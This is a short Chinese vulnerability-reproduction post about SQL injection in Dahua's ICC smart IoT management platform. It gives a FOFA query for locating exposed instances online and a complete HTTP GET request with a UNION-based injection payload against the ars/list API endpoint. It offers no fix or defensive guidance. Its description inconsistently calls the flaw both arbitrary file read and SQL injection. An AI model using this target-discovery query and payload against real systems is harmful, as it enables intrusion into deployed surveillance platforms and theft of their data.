【漏洞复现】大华智能物联管理平台存在SQL注入漏洞

熔城Sec

发布于 2026-07-22 20:25:19

760

漏洞描述

大华ICC智能物联综合管理平台对技术组件进行模块化和松耦合，将解决方案分层分级，提高面向智慧物联的数据接入与生态合作能力。该系统存在任意文件读取漏洞，会造成敏感信息泄露。大华智能物联管理平台evo-apigw/evo-arsm/1.0.0/ars/list接口存在SQL注入漏洞。

资产收集

fofa平台：
body="static/qwebchannel.js" && body="/客户端会小于800/"

漏洞复现

GET /evo-apigw/evo-arsm/1.0.0/ars/list?serviceName=%27+UNION+ALL+SELECT+NULL,NULL,NULL,CONCAT(0x7e,md5(6),0x7e),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--+- HTTP/1.1
Host: 
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept: */*
Connection: Keep-Alive